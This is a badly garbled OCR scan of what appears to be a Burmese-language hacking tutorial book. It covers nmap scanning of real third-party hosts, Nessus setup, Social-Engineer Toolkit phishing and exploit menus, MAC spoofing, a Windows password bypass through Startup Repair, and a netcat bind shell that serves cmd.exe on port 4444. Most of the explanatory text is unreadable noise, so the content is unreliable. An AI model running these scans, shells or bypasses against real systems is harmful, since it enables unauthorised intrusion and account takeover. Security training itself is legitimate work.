scanning technique ecyoom stealth scan o) saog:@ewcx% e@oc?ooono']u

fe) .. . omc C [o] c o
mo3w -T2 oo timing options ol o@§esaoc$ Ocs esaocao@: 0-5
L o L 4 L
coc C . . c
ea:qw‘%co']mwu higher is faster Sl IP address co 209C3002:000M 600
C

target ea:aJQSmoo']u e@orga{): option o»eo>) output @@o’]m(ﬁu -oN o™

nr

o}

. Q Qo Q ’] C C C c O

output scan in normal @ SOOI 8’3(\)())8@’361610 61(\)3('7)
[ LL e} L

ocC C C ’] C c O Q N C C N

(.E)CO?O)QQ)GQ 1 G%’D(’D(’D scan.xml oo 61(\)3('73 scan S(I?O? §098 02000230
ocC C C c O Q _Q ’] C CcC O 00 _ ¢C C ocC ’] C

xml LE)CS’BB@ O?O)QQ)C\% S(I?C\EO [eplov]]] %’398(’? 9@?0&)(’7)61’.) GO:&LCO [opleb]]]

. Q ocC C Q c O
location o?(ﬂ egescoledzoo0Il poed- result o Desktop eoTcho o?mc?o']oo



scan.xml 6$epe> Desktop/scan.xml sdli

map -s5 -T2 192.168.10.10

scanned in 2.81 seconds

g Nmap 7.68 ( ap q_| 2817-18-85 2 1 +86
an report f ]
(@.88

realsecure

Nmap done: 1 IP address (1 ho up) scanned 1n 1.78 seconds

result cdope open port eom%coé: FPAOSDM em@f:g&ﬂmuﬁu
4 O L o (o4 L
PORT STATE SERVICE
443/tcp open https
902/tcp open iss-realsecure

[ . ] C O CO _C
IP address Clepleplen website e 0YMOd  scan

OC’] C
%CO [=jov{ealoN]]]

nmap www.google.com

o

nmap o> default sao%é: 5

0 ::615 stealth scan 39@5 scan ©odGloo Sl
. N ° c ¢ ¢ o o OC N
option 6xRg s»og:@lcfeog > @gchceoyg 0030 9207C:0 manual
N . N C _OoC¢C C
(#man nmap) § help option (#nmap -h <or> nmap --help) § @gﬂéco foplov]l

L

o

:~# man nmap :~# nmap -h :~# nmap --help|




-sS Stealth Scan
stealth scan -sS 0> nmap ¢, default scan option @ogom%a%on c05

)

3o

3B:clBn oooo  target §  ocdwd@  TCP  connection 062

C C cocC ’] c ’] c (o] C e
0OOCQOGEICECOIMNW slevewy three-ways handshake 0re02) @ Sk s
caont 0535@8’ o§oloozi

qo°% : oqoiop:

Onr

:~# nmap 69.171.239.12

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-86 15:53 +0630
Nmap scan report for a.ns.facebook.com (69.171.239.12)

Host is up (0.28s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE

53/tcp open domain

Nmap done: 1 IP address (1 host up) scanned in 53.30 seconds
69.171.239.12 Boxooo nslookup § §Peyqerco0y facebook.com
L o 1 o L °
€1° name server I[P address @o%(ﬂomgu information gathering 838:@0
C ° Cc _C C

eeg:e@:@:@e@u 3 s»eorrcf(ﬂ result wq@gqe TCP port 53 20p> open state
[0} o . . o Q00C ’] C

eoqe§@, service 0> domain 007> W&ECOIOWI

41 L diL

-sT TCP Connect Scan
TCP connect scan oo target host § TCP connection o% stealth scan
0005 88@ S00o scan gée@eo@ogo’]m(ﬁu
LL g LO L d
:~# nmap -sT

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-06 21:36 +0630
Nmap scan report for wordpress2.redbackinternet.net (5.77.39.8)
Host is up (©.39s lat
Not shown: 985 Tiltered ports
STATE SERVICE
open ftp
closed ssh
open smtp
open domain
http
l06/tcp pop3pw
lle/tcp o pop3
5 netbios-ssn
imap
https
d microsoft-ds
587/tcp submission
993/tcp imaps
995/tcp pop3s
3306/tcp open mysql

Nmap done: 1 IP address (1 host up) scanned in 497.43 seconds



-sU UDP scan
UDP scan ooeo>) target system eoTcho‘eﬁo:D UDP ports eogo%
sao\aﬁogeozcﬂmugu TCP port scan $ eoomomeo>y UDP scan Cl)é

:~# nmap -sU 5.77.39.8

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-06 21:57 +0630
Nmap scan report for wordpress2.redbackinternet.net (5.77.39.8)

Host is up (1l.4s latency).
Mot shown: 998 open|filtered ports
STATE SERVICE
netbi S
netbi dgm

Nmap done: 1 IP address (1 host up) scanned in 120.54 seconds

sloocor>  website oao%a@l IP address o3 $0§° ep@ooo:on
H L lo L L d
[og C [og C [og ]
@mﬂmwu UDP ports §®:§eogeﬁoﬁ®@, closed @®e§0y303 ecg‘el(foo’]u
:~# nmap -sU 10.0.2.100

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-06 23:01 +0630
Nmap scan report for 10.0.2.100

Host is up { 75 latency).
All 1080 scanned ports on 10.8.2.100 are open|filtered

Nmap done: 1 IP address (1 host up) scanned in 113. seconds

other IP address o3 UDP scan @mﬁ@ooo:mo@o%o’]mugu
L L

-SAACK scan
sA § =093goy ACK scan o3 TCP port odas filtered or

unfiltered @o%e§o§sgé]§o s»o?:@lo’]m(ﬁu ACK o%a‘:;):@: Target $ initiate

C Q o] (o] C cOocC ’] C °
QO 35| 600 firewall cogodcomce bypass @mo&co oIl target o
L L ° ° c O L . d L L c <
SYN packet 6305 cogoo0on target ade reset (RST) response @§C\)’3€10603?
Q C c O Q C
8 scan o> port unfiltered @®e§mwe?ono3 @mwu response
@$em@q€@6e®| code 1,2,3,9,10 or 13 §<§s»oa ICMP response
(unreachable error) [g§coaclon port 20g5 filtered [gdeso003 BEEloSI
6922050l LL)(‘I% @éo’]u



:~# nmap -sA 10.0.2.100

(Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-86 23:00 +0630
INmap scan report for 18.0.2.100

Host is up (©.55s latency).
All 1000 scanned ports on 10.0.2.100 are unfiltered

INmap done: 1 IP address (1 host up) scanned in
Hics 3

Timing Templates

. C Oomc C Q C o] C ocC
normal scanning cood 6lg$6920C (:Deo)c)) 06§36920C B[ SC
L L4 L L 1 L
o] e . o ° ocC C L
co@ timing function o> s»oa:@léco oo0dI nmap €1 default timing o> T3
[ L L L o4

(normal) @5 Slonddi

:~# nmap -sU -T5 192.168.165.128

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-86 23:15 +0630
Warning: 192.168.165.128 giving up on port beca retransmission cap hit (2).
Nmap scan report for 192.168.165.128

Host is up (0.00029s latency).

Not shown: 938 open|filtered ports, 58 closed ports

PORT STATE SERVICE

53/udp ope domain

111/udp ope rpcbind

137/udp ope netbios-ns

2049 /udp nfs

MAC Address: 00:0C:29:FD:0D:C0O (VMware)

TS5 &3 s082 :D"E]aono']u IP address ooeon) metasploitable 61 1P

L
address o% saa‘:;):@[ooo:o']mwu

-

~# nmap -sU -T5 192.168.165. 12[:

(o] (Y Q C C
pOI't 908(7? GaoQJOO scan C\a(\)eo 610 S 2000

:~# nmap -sU -T5 -p 1-508 192.168.165.128

o

-p 1-500 Bo»on port 1 mes 500 o© 9oC:0 scan ©odAd
L (e} To

Q _Q ’] C c O C c O 00 O C C
SOC\BO oIl result 608?’3 CDQ)C\B @CQQQ)S?OD’DGO)? 00000020200 0200

PSeocslocSy
pdeocs

TO to TS (summary)

Q . Q ’T‘ ’] (S o] Q Q C ocC
TO o paran01d QO 63l OICOXII O@Z OOGGTD 96160900 S’B@J§GO§
L [ L Il ° [¢]
C C c O Q C C ocC
3’361@8 @D@g?’)@@(\% stealth C\BS’BOO:DS’BQ’]?’DB(DG(DI J§GS’BZGS’BZGSOZGSOZ

N C ° ocC ’] C
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:~# nmap -sU --timing paranoid -p 1-500 192.168.165.128

:~# nmap -sU -T@ -p 1-508 192.168.165.128

-TO or --timing paranoid o3 9203 Blg olon i saeoTeo étD@J[
L L L °

§%§’3 BOO’JS(.;]O)OSC{“I 068@8(:@0,]" (oo} [~ sHI~{eples] G®Dg@g(ﬂll (JQO)CD’D‘,O,]II

3B i cop§EoraicdBocSt safffeon corqeci BobgeSqedey
td® “eld~"o & 9 s 1% g 9 AR d

T1 0%@03’3 sneaky C\% eal Clooddi TO c00d 83@: @&ﬂmu%u -T1
Go%:@: sao%:@[% oloo i

:~# nmap -sT -T1l -p 1-500 192.168.165.128

T1 @:emo T2 eoli Tl oo 8B$of]mwu T2 m polite
° ° L
eaT@o’]m(ﬁu

'380

:~# nmap -sU -T2 -p 1-500 192.168.165.128

T3 omeorn default 5203808 T3 C\) ooeeellcxg 303 elo']m(ﬁu T3
° L [ L

§oeém normal ol
T4 ooeo) aggressive @ @B%moo’]mwu T5 ooeonp
T

o O [
39@ s? @@@ Insane C\) eal oloodSi TO, T1, T2, T3, T4, T5 rpteniopleplrtol>
@ C C C C ’] o
5200%(q|(Ge target omam Qeco: mmem@e:mo@@o | Iless)[~oH21=YopTos)
L L (o °, o JL o
C o o C O C
leplesate ol e@oc :Docoelc :73’3(73:13 eq\aa?mo 903@@99’30@0]"

-

Targeting for Nmap

Nmap 8’308(7% target Cl)é IP address (or) web o»og??

C OC’] C Q Q Qo _Q C
@®e§§comwu Sepepeocody P address target o>  sDOlodWI

L L L
(.)CD@SO S’BG§§ IP address Ranges GODO) scan BC\)O 88(7% GSQZG%SO @QSII
ss'ae@oc oeapies: & IP address class [Slabt 8’2§8 COS(‘/% cagies: C\%(ﬂm(ﬁu
IP address class GOgS’BG@’DC., CDLIE., @D.ﬁ.@,a}m @(DOD’D(% 88§€T)(f’3 ODOS@LO%O%
%@DS@@G§GO§?(§]URSII
[Class| Private Networks ||Subnet Mask|| Address Range |
| A | 10.0.0.0 | 255.0.0.0 || 10.0.0.0 - 10.255.255.255 |

| B ][172.16.0.0 - 172.31.0.0|| 255.240.0.0 || 172.16.0.0 - 172.31.255.255 |
e | 192.168.0.0 | 255.255.0.0 [[192.168.0.0 - 192.168.255.255|




IP class cood é@ooo:o\a table o3 @gqc s»cuwa%géo oSl
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poed (731%@0)80%@1“ target IP Cl)é 192.168.165.128 e?o’]oau 5200050

@Q)’J:ogo%?o @éqg 192.168 Cl)é class C 059’3 o’]oée§ono% eoge@oo’]u

e@o%et'?: 008, s»efe:oaogo% @éqg 255 @o%oy)e@oé: 192.168.165.0

ey 192.168.165.255 s»ogé:oaé target IP ranges @oggﬁor]mugu 0 LOe0
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:~# nmap 192.168.165.1-255

C C (S 00 O
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:~# nmap 192.168.165.1-108

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-07 00:07 +0630
Nmap scan report for 192.168.165.1

Host is up (©.0000090s latency).

Mot shown: 998 closed ports

PORT STATE SERVICE

443/tcp open https

902/tcp open 1iss-realsecure

Nmap done: 180 IP addresses (1 host up) scanned in 5.79 seconds

:~# nmap 192.168.165.0/25

Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-07 00:09 +0630
Nmap scan report for 192.168.165.1
up (0.0000070s latency).
n: 998 closed por
STATE SERVICE
443/tcp open https
902/tcp open 1iss-realsecure

Nmap done: 128 IP addres (1 host up) scanned in 7.01 seconds



Scan List
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:~# cd Desktop
:~/Desktop# ls

IP-list.txt
:~/Desktop# |

Is § list cobconoy Ooaq 03§6079q, Desktop ecl'en IP address
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Open ~ || @ IP_l'Stm Save = 00 O
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192.168.165.1600
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192.168.165.128|
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Selecting Ports
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:~# nmap -sS -p 1-100 192.168.165.128

:~# nmap -s5 -p 1,21,25,53,137,161,162 192.168.165.128

:~# nmap -sS5 -p 1-100,137,161,162 192.168.165.
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Output Options

ea&s’amé: output option we@oé: §é:§ézem: e@o@:o’]@u
560D options eco:asae@oé:cx% "o eeo:e&:qesaoéu oesd: -oN m
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normal output cli other program c0eo result B$Q€Q§:§L88& output file 2659

QC Cc OoC C Q cN QO¢C c 9O
OD@‘SSO@Z&LCO,]O)Q)II 80@’3 - test C\B° §’398§° Q)@Z@Q)S(EO,]GO)?II

r~# nmap -oN test.txt 192.168.165.128

-0X meo>y Extensible Markup Language (xml) output ol

:~# nmap -oX test.xml 192.168.165.128

-0G oeo») GREPable Output @6@: GREP C\% tool eogo%

:~# nmap -oG test.txt 192.168.165.128

-0S omeo>p ScRipT KiddW# oUTpuT @ogo']m(ﬁu § script kiddie

Q . ° C
output 07 serius scans c0ed eog:oago’]:rasu

:~# nmap -o05 test.txt 192.168.165.128

HPING3
Hping e%oy) manually craft packets eogo% network eoTSso

QO0CO C ° N . . C C ’] C Q
OO’JZGléCLDS’DO)(‘D S’DODZB[O) apphcatlon o9 @00 ool 8 manual precess
| A ¢} L s L
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Hping3 o% -S flag oéo?:quglcﬂm(ﬁu

:~# hping3 -S 192.168.165.128
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Nessus
Q ’] C C C ’] log
39 GO’)? nessus scanner S’BG@’JCSGC\): =eloplavien] eag:eg:o [2lev]|

Free $2190/Year - 52,920/ Year

Nessus® Home allows you to scan your With more than 20,000 users, Nessus® Nessus® Manager combines the powerful

personal home network with the same Professional is the world's most widely- detection, scanning, and auditing features
powerful scanner enjoyed by Nessus deployed vulnerability, configuration and of Nessus with extensive vulnerability
subscribers. compliance assessment product. management and collaboration functions.
For Home Users For Individuals For Enterprise Teams
Scan 16 IPs Scans Unlimited IPs Scans IPs and Hosts with Nessus Agents
Nessus Home features: Nessus Professional features: Nessus Manager features:
High-speed, accurate assessment with Accurate._high-speed asset discovery and Enables the sharing of multiple Nessus

Try Tenable.io free for 60 days. Protect your organization from WannaCry, NotPetya and other ransomware cyberattacks. | Get Started

C ° ocC . o O C C
300l 09207C: version oe:em:@g oceooooo:o*} nessus scanner oo
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< | bit.ly/nessus-kmn
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Please Select Your Operating System
* Microsoft Windows
* mac0S
¥ Linux
* FreeBSD

» GPG Keys
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Debian 6, 7, 8 [/ Kali Linux 1 AMD64
File: Nessus-6.111-debianb_amd6a4.deb
MD5: 57dd86eea8cabcdal22351c444109f97

Debian 6, 7, 8 | Kali Linux 1 i386(32-bit)
File: Nessus-6.11.1-debian6_i386.deb
MD5: 2576e4b4afed54a5f51ch0c56beaaleh

o]

(o C . . C Q
('78]§GOD’J('D Kali Linux s20000 §9§’3 B@’J@ S’B@’JSOD’JGODOD
¢} L 17 [¢]

C C ° C . Q C . Q _¢C
QGB’JGOD’JCD:G§’DII S’BOO('DO(] O@’D@g(ﬂll Linux o GGFQJOO click C\)('DOD’D§
T L1 ° L Ol T o
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o}

C f]e ocC ’T‘ C 00 O ° C . Q Q
3200000 (.L)S’BOBC: cO C\)’D(JQ’D@@@: 990% S’BO;B:E}[@Q? Linux 8’3(%”88’30’388’3(\30)

ea:aJQSoep eogqo’]e(ﬁu saeorraﬁ’g:sso Kali Linux AMD64 agLon%
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?o%we§ep<fo 1386(32-bit) a%onor% eogel(ﬂe(ﬁu 880§€1° (ON} san%oo

ee’]é:u&%éo’]m(ﬁu ogﬁemgmem? Kali Linux 4bit §<ﬁ0@(ﬂeu§u

Desktop

sktop# 1s

aoepguges’aoé esléconod  nessus  file or% Desktop &0l

6g002:c305Cloocsi  cd  Desktop  §  offfs Is  coodlogpdoyses]

Nessus-6.11.1-debian6_amd64.deb 9930\3 sa$eep€ Debian package or%

Terminal o géechﬂe(ﬁu Debian Package copo3 install §é: Linux
4 (e o L

Chapter (JQ’J('DO)@CS('D GB’DBOO’D: 80;)’38(.)(]" 88?6}0?’3 036@(5 GB’DB(.;]§8@OSII

:~/Desktop# dpkg -i Messus-6.11.1-debian6é amdé64.deb

Debian Package % dpkg Ol install oo -i @6@: e@orgoo
Nessus-6.11.1-debian6_amd64.deb opco>y package name Cli package name
D 0u22697¢ 6B quloddd (88@3']8’00’3"0\3 5903E:

L 77° RORLRE § ° 207 §OORTOPCE
C C . C C C
oogeﬁoo'])u @:qcem’; enter ol command line C§OMO03 eonoqcem’;

install ﬁnish@ @o%o’]mugu



usd

Terminal ¢> /etc/init.d/nessusd start C\% %06@ enter 0%06615
saooo%o'](‘.}sao%& Starting Nessus : . QBL@ eogqo’]eugu Browser o% ogo:o']u
@:qé Browser's Address Bar ¢> https://localhost:8834 C\% %or%ooé@ enter
ol

€ (O | https://localhost:8

C ’] oC o QO _C ’]
$200050[8207C3 address o) enter X0l

/ Your connection is not secure

The owner of localhost has configured their website improperly. To protect your infermation from being stolen, Firefox
has not connected to this website.

Learn more.

Report errors like this to help Mozilla identify and block malicious sites

83 emq(ﬂe(ﬁu Advanced 380\3e§ep08 200:0li
L [e L ° L o]

localhost:B834 uses an invalid security certificate.

The certificate is not trusted because the issuer certificate is unknown.
The server might not be sending the appropriate intermediate certificates.
An additional root certificate may need to be imported.

The certificate is not valid for the name localhost.

Error code: SEC_ERROR_UMNENOWMN_ISSUER

Add Exception...

@:qé Add Exception.. 830205 click c3050
L L L



Confirm Security Exception

cOocC

. . o Q
confirm security exception 0 00O od0l

Welcome to Nessus Nessus@)

Thank you for installing Nessus, the industry leader in vulnerability scanning. This application allows you to:

* Run high-speed vulnerability and discovery scans on your network

* Conduct agentless auditing on hosts to confirm they are running up-to-date software

* Perform compliance checks on hosts to verify they are adhering to your security policy
* Schedule scans to launch automatically at the frequency you select

e And much more!

Press continue to perform account setup. register or link this scanner, and download the latest plugins.

C ° ocC ﬁ Q C
3200000 (.L)S’BO?CS Nessus e Welcome screen O? GGPO’)

C C . N QO 00 C C
@ODOf]O’)Q)II continue GO:]II user name i passwords O? QQS’B&)CG@GTD(I) @8

66,20050M
Q.

Registration Nessus )

As new vulnerabilities are discovered and released Into the public domain. Tenable's research staff creates
plugins that allow MNessus to detect their presence. These plugins contain vulnerability information, algorithms to
test for the presence of the issue, and a set of remediation actions. Registering this scanner will grant you
access to download these plugins.

Registration MNessus (Home, Professional or Manager) -

Activation Code l

Back Advancet

Settings

C C cC C . . .
saoomo']s'aaogeepcheoo? Registering the scanner link ooecs

. coc QC C . N C Q _C
regliter ogo,cxgo%co']@u 300:66PC 0L1n1<cooecn,§° @ceﬁno']u ogogcxgo:o']u
@"qc tenable.io free for 60 days o0ew>o> Free eoG register coocoooo']u
CDC(I)CD mail odeont occooeo@o@ your activation code for the Nessus

’] CcQ c o ¢ ’]
Home is &3@., 0’380’3 GO’)GlO QOJII GO’)’JOOJ(I)@C\)O’)O 1
L L L & s L



Nessus @)

N C . . C Q

@,o?s'aaﬂgoeoo? Setup complete @o@, installing qugoe§mocre

C ’] C ’]C° c O C c Q¢ Q C ’] o C

eooqeo@oo oWl 63 c.e§099@®co FCOMFMACE  AVFO0IEDIOI
[e NN L4 L L

o] C ’] o ° [e] C
GB’D(& G@G§O’)’DGC\DSO’)®SL GB’DO q@@ll Nessus O? S’BC)?:@(DS’BOQO’) Hardware

Scenario Minimum Recommended Hardware
Messus scanning up to 50,000 CPU: 1 dual-core 2 GHz CPU
hosts

Memory: 2 GB RAM (4 GB RAM recommended)

Disk space: 30 GB

Nessus scanning more than CPU: 1 dual-core 2 GHz CPU (2 dual-core
50,000 hosts recommended)

Memory: 2 GB RAM (8 GB RAM recommended)

Disk space: 30 GB (Additional space may be
needed for reporting)

Messus Manager with up to CPU: 1 dual-core, 2GHz CPU

10,000 agents
Memory: 16 GB RAM

Disk space: 30 GB (Additional space may be
needed for reporting)

Messus Manager with up to CPU: 1 dual-core, 2GHz CPU

30,000 agents
Memory: 64 GBE RAM

Disk space: 20 GB (Additional space may be
needed for reporting)
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Browsers

The fDll'DWiFlg browsers are supported for Nessus.

Google Chrome (50+)

Apple Safari (10+)

Mozilla Firefox (50+)

internet Explorer (11+)

C ’] N Q cOocC Q
gm0l Browser 60yand Nessus o7 support coo§coxe Browser
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Advanced Scan Audit Cloud Infrastructure Badlock Detection Bash Shellshock Detection Basic Network Scan Credentialed Patch Audit

Internal PCI Ne(w} Malware Scan Mnuc:m«h

DROWN Detection Host Discovery Intel AMT Security Bypass
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Schedule
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DISCOVERY
ASSESSMENT Faolder My Scans -
REPORT
Targets sy -0
ADVANCED ange 192.168.165.128, 172.16.1.138, m
Upload Targets Add File
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CHAPTER 11: Additional Knowledge Foundation
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CHAPTER 12: Social Engineering & Toolkit

Introduction
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Main Menu of setoolkit
:~# setoolkit
Select from the menu:
1) Social-Engineering Attacks
en

2) Penetration Testing (Fast-Track)
3} Third Party Modules

Update the Social-Engineer Toolkit
5} Update SET configuration
Help, Credits, and About

Exit the Social-Engineer Toolkit
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Select from the menu:

1) Spear-Phishing Attack Vectors
2)

3)

4)

5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
g8) e Generator Attack Vector

9) Powershell Attack Vectors

10) SMS Spoofing Attack Vector

11) Third Party Modules

Return back te the main menu.
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Web Templates
Site Cloner
Custom Import
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Social-Engineering Attacks
Penetration Testing (Fast-Track)
Third Party Modules

Update the Social-Engineer Toolkit
Update SET configuration

Help, Credits, and About

Exit the Social-Engineer Toolkit

Select from the menu:

Phishing Attack Vectors
ite Attack Vectors
tious Media Generator
reate a Payload and Listener
Mass Mailer Attack
Arduino-Based Attack Vector
Wireless Access Point Attack Vector
ORCode Generator Attack Vector
Powershell Attack Vectors
SMS Spoofing Attack Vector
Third Party Modules

Return back to the main menu.
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Spear phishing is an email or electronic communications scam
targeted towards a specific individual, organization or business. Although
often intended to steal data for malicious purposes, Cyber-criminals may also

intend to install malware on a targeted user’s computer.
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Email Attack
FileFormat Payload
Social-Engineering Template

99) Return to Main Menu

oooeefe:o;og?m Mass Email Attack @ogo']m(ﬁu Mass Email Attack

92607 Options 22 3 %10)’3 eogelo']e(ﬁu

1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)

2) SET Custom Written Document UNC LM SMB Capture Attack

3) MS15-100 Microsoft Windows Media Center MCL Vulnerability

4) MS14-017 Microsoft Word RTF Object Confusion (2014-04-01)

5) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow

6) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)

7) Adobe Flash Player "Button" Remote Code Execution



8) Adobe CoolType SING Table "uniqueName" Overflow
9) Adobe Flash Player "newfunction" Invalid Pointer Use
10) Adobe Collab.collectEmaillnfo Buffer Overflow
11) Adobe Collab.getlcon Buffer Overflow
12) Adobe JBIG2Decode Memory Corruption Exploit
13) Adobe PDF Embedded EXE Social Engineering
14) Adobe util.printf() Buffer Overflow
15) Custom EXE to VBA (sent via RAR) (RAR required)
16) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
17) Adobe PDF Embedded EXE Social Engineering (NOJS)
18) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
19) Apple QuickTime PICT PnSize Buffer Overflow
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Social Engineering >> Mass Mailer Attack
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Third Party Modules
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CHAPTER 13: Authentication System
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CHAPTER 14: Wireless Network & Wifi Hacking
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# macchanger -m 74:23:44:20:39:2F wlan@
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:~# telnet www.hak5.o0rg 80
Trying 184.24.19.31...
Connected to www.hak5.o0rg.
Escape character is '"]°'.
Get / HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Thu, 19 Oct 2017 19:05:40 GMT
Content-Type: text/html
Content-Length: 177
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Server: -nginx
CF-RAY:

<html=

<head=<title=400 Bad Request=/title==/head=
<body bgcolor="white"=

<center=<hl=408 Bad Request</hl=</center=
<hr=<center=cloudflare-nginx</center=
</body=

</html=

Connection closed by foreign host.
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HTTP/1.1 301 Moved Permanently
Date: Thu, 19 Oct 2017 19:13:83 GMT
Connection: keep-alive
Cache-Control: max-age=3600
Expires: Thu, 19 Oct 2017 20:13:83 GMT
Location: https://hak5.org/
Server: cloudflare-nginx
CF-RAY: 3b060d6T46056TaB-SIN
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CHAPTER 16: Enumeration
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Examples:
nbtscan -r 192.168.1.0/24
Scans the whole C-class network.
nbtscan 192.168.1.25-137
5 a range from 192.168.1.25 to 192.168.1.137
nbtscan - : 192.168.1.0/24
s C-class network. Prints results in script-friendly
format using colon as field separator.
Produces output like that:
192.168.0.1:NT_SERVER:00U
192.168.0.1:MY_DOMAIN:00G
192.168.0.1:ADMINISTRATOR: 03U
192.168.0.2:0THER _BOX:00U

nbtscan -T iplist
Scans IP addresses specified in file iplist
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CHAPTER 17: System Hacking - Windows
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Q0230020 60ROl password 00§ OCEEPMECAIIRMD MDY
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wWindows Error Recover
vs failed to start. A recent hafdware or software change might be the

If windows files have been damaged or configured incorrectly, Startup Repair
can help diagnose and fix the problem. If power was interrupted during
startup, ¢ start wind Normally.

U - ve o | 1 vour

5 Norm
Fix problems that are preventing wWindows from starting

C’] ocC C co C N\ O Qo _C .
S20000[9203C: 0CePMQ saamsaaeﬂ@a?qceoo? Windows 7

. . Q [og C
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computer 306 sy g @ startup repair o> oée g OloroSi
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-! System Recovery Options y .EJ

Choose a recovery tool
Operating system: Windows 7 on (D:) Local Disk

\ad Automatcaly fix problems that are preventing Windows from starting

T System Restore
A
Restore Windows to an earler pont in tme

& Recover your computer usng a system image you created sarfier
—_— Wind 1 DI t
|ﬁ Chack your computer for mamary hardware srrors

‘ Open a command prompt window

Shuit Down Restart |

900501920382 system recove options MGs S
S > o Y ry Y oo
ago:eepmelooooo']moou

Sending more information can help Microsoft create solutions.

<% Send information about this problem (recommended)
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i the online privacy J‘talzmﬂl'r 15 not 2 a:rabii Ease rea|



; =10/
Edit Format WView Help
New Chri+i -
I ivacy Statement for the Microsoft Error Reporting 57 |
$ave Cl+5 | gdare privacy information, see the online windows 7 P
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| I ’IL’_I f
[Flescitoe:  [ares ~1| canced | f
Encodng. iNiEr 3 ]
A

N QC N N O NOC O
Omee0yc:0  system32 folder 0>  sethe 0aCH> epeg@:
. C Q c c 0o ¢
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7/13/200% 5:40 PM
7/13/2009 5:33 PM
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k] e, ol 7/13/200% 510 PM  Applcation exte.,
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B Administrator: C:\Windows\System32\cmd.exe o= |-

Microsoft Windows [Uersion 6.1.760H]
Copyright (cd> 208? Microsoft Corporation. ALl rights reserved.

C:isWindowsN\system32>net user

User accounts for “\ROOT-PC
Administrator Guest

MN root

Test2 )

The command completed successfully.

C:s\WindowsN\systemd2>

Q _C C
(‘DOO@

LI o,

fT‘ N Q Q C ¢ C
col coooy command prompt ¢ net user o SeleslSieevies)

C N (o] C ’] <
©CCo:0) user account 600 ecg@celo ol

Administrator Guest Hack Me
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The command completed successfully.
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o CcOoc¢C (o C N ’] C Q N C C
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Creating Rainbow Tables on Windows
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AddTable | Remove | Removes | fbout | ok | e

e

@:q(c: Add Table epl=Xs 00 @.%o%:opleoSu

Hash Min Len Max Len |- Index - Chain Len- Chain Calnt N* of tables-
7 |a |2n |n ‘ |24nu ‘ |4ununnuu |1

~ Charset
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Set) @2 0603 9C0Y20IC: OICD:F2G | mm:sa@m 00$:60y  special

d [ L ° L L L [¢]

00 00 C C cocC C

character e lom eo’]oneog ©60X001()|0? ea:qoo‘%ccﬂoooou
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CHAPTER 18: Spyware and Keyloggers

Introduction
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o SRA 28 X | 6L RS |

C Q ° o] C o C
(9’3@00;)(\) Spyware owner (00] OGSO’DCGO:O)’DQJFC\)@Z
L [

o»ep:oé tracking ~ software  eopg

o

spyware  603(030:¢0



@9:§0:q|05036? %of]mugu sl :Docﬁagﬂé Legitimate Tracking software
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CHAPTER 19: Trojans & Backdoors
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:~# netcat -v google.com 80
DNS fwd/rev mismatch: google.com != s5inl0s@7-in-f110.1el00.net
jgoogle.com [172.217.24.110] 80 (http) open

:~# nc -v google.com 8@
DNS fwd/rev mismatch: google.com != s5inl@s@7-in-f110.1el@0.net
google.com [172.217.24.118] 80 (http) open

netcat o% telnet Qée‘jl‘;%mé: s»o?:@@é@: netcat (or) nc QBL@ @Séjr;

s'»d:;):@[%&ﬂmugu Windows 20305 Netcat opeoxp  bitly/kmn-nc ¢
esl&:r8Ecloncdi download qaooc) zip file o ne &30) folder oo extract
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View b
Sort by b
Group by b
Refresh

Customize this folder...

Paste
Paste shorteut
Undo Copy Ctrl+Z

Open command window here

Share with 3
Mew 4
Properties
C N C C C N C
@:qcem’; cmd ¢> netcat oo oceepm@: @@09990303 command
(o] e OC C C . C C cocCco
GO  ©OC oa&c@@@o’]mwu Windows ©2 moeeooc@@& Sponod
O L L L d L oL [ o
Q C N . Q . C C
5200} putty application o> bit.ly/kmn-putty o6 esﬂc,wéco’]mwu install
C Q N . . e’] o S . N
ooePecyoy  application  scvzol @,qcemo Windows ©26 coocoom
L L ° ° d

N

e@oooo:o; nc folder o% Shift + Right click >> Open command window here
$ %0600’3:0:) cmd (command line) ¢> netcat command eogo% s»o?:@lgﬁ(ﬂ@u

. COo C C C
listener coo@oeopod -1 ¢ verbose mode 920305 -v , port 90305 -p
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executable 8’308(7% -e o%o% wo?:@lcﬂeugu

@

B nc -v -l -p 4444 -& cmd,exe

C:slUserssrootsDesktopsncdne —v =1 -p 4444 -e cnd.exe
listening on [anyl 4444 __.

° C ° Qo _¢C C o f] QC C
oooes?:s'a@e sao?:@[moa?qcem? Access eoxcCia0ladgedll
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© C:Dé"ooo"@" execute 52653 cmd.exe 03 eqea[ed0:0loddSi @ ¢ putt
ogco,;. $8 . > 6§:9 2 :qC putty
op) cocelo']ewu
L Or-

rﬁ PuTTY Configuration @

Category:

-1 Session Basic options for your PuTTY session

Lo L-‘.‘lg?ing Specify the destination you want to connect to
[=)- Temina :
Host Name (or [P address) Port

i Keyboard
. Bell | 2

_ Features Connection type:

=~ Window Raw Telnet Rlogin @ S5H Senal
i Appearance
- Behaviour
i Translation
- Selection

! - Colours | Default Settings
|- Connection . |ﬂ|

 Data | Save |
- Prooy —
.- Telnet | Delete |

Load, save or delete a stored session

Saved Sessions

- Flogin
i} SSH

- Seral ) )
Close window on exit;

1 Mlways ) Newver @ Only on clean exit

| About | | Open | | Cancel |

putty configuration ¢> IP $ port 443 (7% configure
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i 10.10.1.135 - PuTTy

Login information @éogé:q(ﬂe(ﬁu

putty ¢> root@kali:~# e%@: colaonom eog@éqo’]e(ﬁu ogj$eo>8m
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poedc0:qqC Apocalypse C\gGQTO? RAT g eag.eg.o’]eoou Infected computer
ocC C [ (o] QcC C ’] C
©> run &cewy Malicious code eogd server o Q36:z0p0:020l0WI
Q C [ C ’] C C ’]
86§PED server 2OPO on victim 200 @oo oIl on attacker e300
. Q ocC cOoCoO C
client eo>p server ) 0§39 0§CEZRd>  attacker
